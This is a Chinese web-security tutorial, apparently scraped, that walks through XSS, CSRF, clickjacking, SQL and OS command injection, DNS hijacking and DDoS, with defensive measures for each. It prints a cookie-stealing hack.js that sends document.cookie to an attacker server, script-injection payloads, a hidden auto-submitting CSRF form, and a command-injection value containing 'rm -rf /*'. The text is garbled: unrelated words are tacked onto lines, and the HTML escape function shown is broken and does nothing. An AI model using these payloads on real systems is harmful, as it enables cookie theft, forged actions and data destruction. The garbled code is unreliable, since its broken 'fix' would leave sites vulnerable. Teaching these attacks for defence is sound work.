隨着互聯網的發達,各類WEB應用也變得愈來愈複雜,知足了用戶的各類需求,可是隨之而來的就是各類網絡安全的問題。做爲前端開發行業的咱們也逃不開這個問題。因此今天我就簡單聊一聊WEB前端安全以及如何防範。javascript
Cross Site Scriptingphp
XSS (Cross-Site Scripting),跨站腳本攻擊,由於縮寫和 CSS重疊,因此只能叫 XSS。跨站腳本攻擊是指經過在存在安全漏洞的Web網站註冊用戶的瀏覽器內運行非法的非本站點HTML標籤或JavaScript進行的一種攻擊。惡意攻擊者往Web頁面裏插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的Script代碼會被執行,從而達到惡意攻擊用戶的目的。
html
// 普通 http://localhost:3000/?from=china
// alert嘗試 http://localhost:3000/?from=<script>alert(3)</script></script>)
// 獲取Cookie [http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"></script>]()
引入了攻擊者服務器中的一個js文件前端
hack.js
var img = new Image()
img.src='http://localhost:4000/img?c='+document.cookiejava
hack.js中請求了攻擊者服務器並帶上了被攻擊者的cookie。而後攻擊者服務器只須要:node
app.use(async (_ctx_, _next_) => {mysql
log('attack...:' + _ctx_.url) await _next_()
})git
就能夠獲取到被攻擊者的cookiegithub
// 短域名僞造 https://dwz.cn/
// 僞造cookie入侵 chrome
document.cookie= xxxweb
存儲型xss通常出如今評論中,若是評論提交的內容被直接塞入數據庫例如:
{
// 評論
<script>alert(1)</script>
_// 跨站腳本注入 _
我來了<script src="http://localhost:4000/hack.js"></script>
}
提交:
router.post('/updateText', async (_ctx_) => {
text = _ctx_.request.body.text res = await query(`REPLACE INTO test.text (id,text) VALUES(1,'${text}');`) _ctx_.redirect('/')
});
沒有處理直接塞到數據庫,那麼當數據被返回前端頁面時若是也沒作處理,那麼被注入的js代碼就會被執行。訪問到當前頁面的用戶雖然什麼都沒作,可是也會被攻擊者獲取到cookies。
存儲型XSS,持久化,代碼是存儲在服務器中的,如在我的信息或發表文章等地方,加入代碼,若是沒有過濾或過濾不嚴,那麼這些代碼將儲存到服務器中,用戶訪問該頁面的時候觸發代碼執行。這種XSS比較危險,容易形成蠕蟲,盜竊cookie等
反射型XSS,非持久化,須要欺騙用戶本身去點擊連接才能觸發XSS代碼(服務器中沒有這樣的頁面和內容),通常容易出如今搜索頁面。
Scripting能幹啥就能幹啥
ejs轉義小知識
<% code %> 用於執行其中javascript代碼
<%= code %> 會對code進行html轉義
<%- code %> 將不會進行轉義
ctx.set('X-XSS-Protection', 0) _// 禁止XSS過濾_
0 禁止XSS過濾。
1 啓用XSS過濾(一般瀏覽器是默認的)。 若是檢測到跨站腳本攻擊,瀏覽器將清除頁面(刪除不安全的部 分)。
1;mode=block 啓用XSS過濾。 若是檢測到攻擊,瀏覽器將不會清除頁面,而是阻止頁面加載。
1;report= (Chromium only) 啓用XSS過濾。 若是檢測到跨站腳本攻擊,瀏覽器將清除頁面並使用CSP report-uri 指令的功能發送違規 報告。
內容安全策略 (CSP, Content Security Policy)
是一個附加的安全層,用於幫助檢測和緩解某些類型的攻 擊,包括跨站腳本 (XSS) 和數據注入等攻擊。 這些攻擊可用於實現從數據竊取到網站破壞或做爲惡意軟 件分發版本等用途。 CSP 本質上就是創建白名單,開發者明確告訴瀏覽器哪些外部資源能夠加載和執行。咱們只須要配置規 則,如何攔截是由瀏覽器本身實現的。咱們能夠經過這種方式來儘可能減小 XSS 攻擊。
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP
ctx.set('Content-Security-Policy', "default-src 'self'")
// 只容許加載本站資源 Content-Security-Policy: default-src 'self'
// 只容許加載 HTTPS 協議圖片 Content-Security-Policy: img-src https://*
// 不容許加載任何來源框架 Content-Security-Policy: child-src 'none'
用戶的輸入永遠不可信任的,最廣泛的作法就是轉義輸入輸出的內容,對於引號、尖括號、斜槓進行轉義
function escape(_str_) {
str = str.replace(/&/g, '&')
str = str.replace(/</g, '<')
str = str.replace(/>/g, '>')
str = str.replace(/"/g, '&quto;')
str = str.replace(/'/g, ''')
str = str.replace(/`/g, '`')
str = str.replace(///g, '/')
return str
}
富文原本說,顯然不能經過上面的辦法來轉義全部字符,由於這樣會把須要的格式也過濾掉。對於這種情 況,一般採用白名單過濾的辦法,固然也能夠經過黑名單過濾,可是考慮到須要過濾的標籤和標籤屬性實在 太多,更加推薦使用白名單的方式。
const xss = require('xss')
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')
_// -> <h1>XSS Demo</h1><script>alert("xss");</script> _
Cookie 這是預防XSS攻擊竊取用戶cookie最有效的防護手段。Web應 用程序在設置cookie時,將其屬性設爲 HttpOnly,就能夠避免該網頁的cookie被客戶端惡意JavaScript竊取,保護用戶cookie信息。
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")
CSRF(Cross Site Request Forgery)
是一種常見的Web攻擊,它利用用戶已登陸的身份, 在用戶絕不知情的狀況下,以用戶的名義完成非法操做。
用戶已經登陸了站點 A,並在本地記錄了 cookie 在用戶沒有登出站點 A 的狀況下(也就是 cookie 生效的狀況下),訪問了惡意攻擊者提供的引誘危險站點 B (B 站點要求訪問站點A)。 站點 A 沒有作任何 CSRF 防護
假如用戶沒有退出網站a的狀況下訪問了以下網站:
<script>
document.write(` <form name="form" style="opacity:0;" action="http://localhost:3000/updateText" method="post" target="csrf"> 添加評論: <input type="text" name="text" value="CSRF評論。。" /> </form> `) var iframe = document.createElement('iframe') iframe.name = 'csrf' iframe.style.display = 'none' document.body.appendChild(iframe) setTimeout(function() { document.querySelector('form').submit(); },1000) </script>
網站的html能夠隨便寫點內容,只要讓用戶以爲不突兀就行。實則攻擊者已經使用用戶的身份在網站a發表了一個評論(網站a沒有作任何csrf的防護)。
根據 HTTP 協議,在 HTTP 頭中有一個字段叫 Referer,它記錄了該 HTTP 請求的來源地址。在一般狀況下,訪問一個安全受限頁面的請求必須來自於同一個網站,這種方法的顯而易見的好處就是簡單易行,網站的普通開發人員不須要操心 CSRF 的漏洞,只須要在最後給全部安全敏感的請求統一增長一個攔截器來檢查 Referer 的值就能夠。特別是對於當前現有的系統,不須要改變當前系統的任何已有代碼和邏輯,沒有風險,很是便捷。
然而,這種方法並不是萬無一失。Referer 的值是由瀏覽器提供的,雖然 HTTP 協議上有明確的要求,可是每一個瀏覽器對於 Referer 的具體實現可能有差異,並不能保證瀏覽器自身沒有安全漏洞。使用驗證 Referer 值的方法,就是把安全性都依賴於第三方(即瀏覽器)來保障,從理論上來說,這樣並不安全。事實上,對於某些瀏覽器,好比 IE6 或 FF2,目前已經有一些方法能夠篡改 Referer 值,從而進行 CSRF 攻擊。即使是使用最新的瀏覽器,黑客沒法篡改 Referer 值,這種方法仍然有問題。由於 Referer 值會記錄下用戶的訪問來源,有些用戶認爲這樣會侵犯到他們本身的隱私權,特別是有些組織擔憂 Referer 值會把組織內網中的某些信息泄露到外網中。所以,用戶本身能夠設置瀏覽器使其在發送請求時再也不提供 Referer。當他們正常訪問銀行網站時,網站會由於請求沒有 Referer 值而認爲是 CSRF 攻擊,拒絕合法用戶的訪問。
CSRF 攻擊之因此可以成功,是由於黑客能夠徹底僞造用戶的請求,該請求中全部的用戶驗證信息都是存在於 cookie 中,所以黑客能夠在不知道這些驗證信息的狀況下直接利用用戶本身的 cookie 來經過安全驗證。要抵禦 CSRF,關鍵在於在請求中放入黑客所不能僞造的信息,而且該信息不存在於 cookie 之中。能夠在 HTTP 請求中以參數的形式加入一個隨機產生的 token,並在服務器端創建一個攔截器來驗證這個 token,若是請求中沒有 token 或者 token 內容不正確,則認爲多是 CSRF 攻擊而拒絕該請求。
該方法有一個缺點是難以保證 token 自己的安全。特別是在一些論壇之類支持用戶本身發表內容的網站,黑客能夠在上面發佈本身我的網站的地址。因爲系統也會在這個地址後面加上 token,黑客能夠在本身的網站上獲得這個 token,並立刻就能夠發動 CSRF 攻擊。爲了不這一點,系統能夠在添加 token 的時候增長一個判斷,若是這個連接是鏈到本身本站的,就在後面添加 token,若是是通向外網則不加。
這種方法也是使用 token 並進行驗證,和上一種方法不一樣的是,這裏並非把 token 以參數的形式置於 HTTP 請求之中,而是把它放到 HTTP 頭中自定義的屬性裏。經過 XMLHttpRequest 這個類,能夠一次性給全部該類請求加上 csrftoken 這個 HTTP 頭屬性,並把 token 值放入其中。這樣解決了上種方法在請求中加入 token 的不便,同時,經過 XMLHttpRequest 請求的地址不會被記錄到瀏覽器的地址欄,也不用擔憂 token 會透過 Referer 泄露到其餘網站中去。
然而這種方法的侷限性很是大。XMLHttpRequest 請求一般用於 Ajax 方法中對於頁面局部的異步刷新,並不是全部的請求都適合用這個類來發起,並且經過該類請求獲得的頁面不能被瀏覽器所記錄下,從而進行前進,後退,刷新,收藏等操做,給用戶帶來不便。另外,對於沒有進行 CSRF 防禦的遺留系統來講,要採用這種方法來進行防禦,要把全部請求都改成 XMLHttpRequest 請求,這樣幾乎是要重寫整個網站,這代價無疑是不能接受的。
點擊劫持是一種視覺欺騙的攻擊手段。攻擊者將須要攻擊的網站經過 iframe 嵌套的方式嵌入本身的網頁中, 並將 iframe 設置爲透明,在頁面中透出一個按鈕誘導用戶點擊。
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")
登陸 http://localhost:4000/csrf.html
app.use(async (ctx, next) => {
await next()
const referer = ctx.request.header.referer
console.log('Referer:', referer)
})
// 登陸 http://localhost:4000/clickjacking.html
X-FRAME-OPTIONS X-FRAME-OPTIONS 是一個 HTTP 響應頭,在現代瀏覽器有一個很好的支持。這個 HTTP 響應頭 就是爲了防護 用 iframe 嵌套的點擊劫持攻擊。 該響應頭有三個值可選,分別是 DENY,表示頁面不容許經過 iframe 的方式展現 SAMEORIGIN,表示頁面能夠在相同域名下經過 iframe 的方式展現 ALLOW-FROM,表示頁面能夠在指定來源的 iframe 中展現JS方式。
以上代碼的做用就是當經過 iframe 的方式加載頁面時,攻擊者的網頁直接不顯示全部內容了。
SQL注入通常是服務端對於用戶的輸入未作校驗就帶入到數據庫查詢中致使的。
數字型
數字型注入意味着,當輸入的參數是整型時,如:ID,年齡,頁碼等。
例如URL爲 xxx.com/test.php?id=5
能夠猜想SQL語句爲:select * from xxtable where id=5
數字型注入多見於輸入弱類型語言,例如:參數id=5,js會自動來推導變量id的數據類型爲int類型,那麼id=5 and 1=1 則會推導爲String類型,這是弱類型語言的特徵,而Java,c#這類強類型語言,若是試圖把一個字符串轉化爲int類型,處理不當就會拋出異常,沒法繼續執行。這方面強類型語言比弱類型語言有先天優點。
**
字符型
數字型與字符型注入最大的區別在於,數字型不須要單引號閉合,而字符型則必須單引號閉合。
select * from table where username='admin'
經典案例:萬能密碼。
全部的查詢語句建議使用數據庫提供的參數化查詢接口**,參數化的語句使用參數而不是將用戶輸入變量嵌 入到 SQL 語句中,即不要直接拼接 SQL 語句。
例如 Node.js 中的 mysqljs 庫的 query 方法中的 ? 佔位參 數。
OS命令注入和SQL注入差很少,只不過SQL注入是針對數據庫的,而OS命令注入是針對操做系統的。
OS命令注入攻擊指經過web應用,執行非法的操做系統命令達到攻擊的目的。只要在能調用shell函數的地方就有存在被攻擊的風險。
// 以nodeJS爲例,加入在接口中須要從github下載指定的repo
const exec = require('mz/child_process').exec;
let params = {/*用戶輸入的參數*/};
exec(
git clone ${params.repo}/some/path);
若是傳入的參數是會怎樣https://github.com/xx/xx.git && rm -rf /* &&
顧名思義,DNS服務器(DNS解析各個步驟)被篡改,修改了域名解析的結果,使得訪問到的不是預期的ip
瀏覽器緩存-本地hosts-路由器緩存-本地域名解析服務系統-...-根名稱服務器
運營商劫持,此時大概只能升級HTTPS了
http://www.ruanyifeng.com/blo... 阮一峯 distributed denial of service
DDOS 不是一種攻擊,而是一大類攻擊的總稱。它有幾十種類型,新的攻擊方法還在不斷髮明出來。網站運行的各 個環節,均可以是攻擊目標。只要把一個環節攻破,使得整個流程跑不起來,就達到了癱瘓服務的目的。
SYN Flood的基本原理
SYN Flood是比較流行的DoS(拒絕服務攻擊)與DDoS(分佈式拒絕服務攻擊)的方式之一,這是一種利用TCP協議缺陷,發送大量僞造的TCP鏈接請求,從而使得被攻擊方資源耗盡(CPU滿負荷或內存不足)的攻擊方式。 要明白這種攻擊的基本原理,仍是要從TCP鏈接創建的過程開始提及:你們都知道,TCP與UDP不一樣,它是基於鏈接的,也就是說:爲了在服務端和客戶端之間傳送TCP數據,必須先創建一個虛擬電路,也就是TCP鏈接,創建TCP鏈接的標準過程是這樣的:
首先,請求端(客戶端)發送一個包含SYN標誌的TCP報文,SYN即同步(Synchronize),同步報文會指明客戶端使用的端口以及TCP鏈接的初始序號;
第二步,服務器在收到客戶端的SYN報文後,將返回一個SYN+ACK的報文,表示客戶端的請求被接受,同時TCP序號被加一,ACK即確認(Acknowledgement)。
第三步,客戶端也返回一個確認報文ACK給服務器端,一樣TCP序列號被加一,到此一個TCP鏈接完成。 以上的鏈接過程在TCP協議中被稱爲三次握手(Three-way Handshake)。
問題就出在TCP鏈接的三次握手中,假設一個用戶向服務器發送了SYN報文後忽然死機或掉線,那麼服務器在發出SYN+ACK應答報文後是沒法收到客戶端的ACK報文的(第三次握手沒法完成),這種狀況下服務器端通常會重試(再次發送SYN+ACK給客戶端)並等待一段時間後丟棄這個未完成的鏈接,這段時間的長度咱們稱爲SYN Timeout,通常來講這個時間是分鐘的數量級(大約爲30秒-2分鐘);一個用戶出現異常致使服務器的一個線程等待1分鐘並非什麼很大的問題,但若是有一個惡意的攻擊者大量模擬這種狀況,服務器端將爲了維護一個很是大的半鏈接列表而消耗很是多的資源----數以萬計的半鏈接,即便是簡單的保存並遍歷也會消耗很是多的CPU時間和內存,況且還要不斷對這個列表中的IP進行SYN+ACK的重試。實際上若是服務器的TCP/IP棧不夠強大,最後的結果每每是堆棧溢出崩潰---即便服務器端的系統足夠強大,服務器端也將忙於處理攻擊者僞造的TCP鏈接請求而無暇理睬客戶的正常請求(畢竟客戶端的正常請求比率很是之小),此時從正常客戶的角度看來,服務器失去響應,這種狀況咱們稱做:服務器端受到了SYN Flood攻擊(SYN洪水攻擊)
此攻擊相似於同時在多個不一樣計算機上反覆按Web瀏覽器中的刷新 - 大量HTTP請求氾濫服務器,致使拒絕服 務。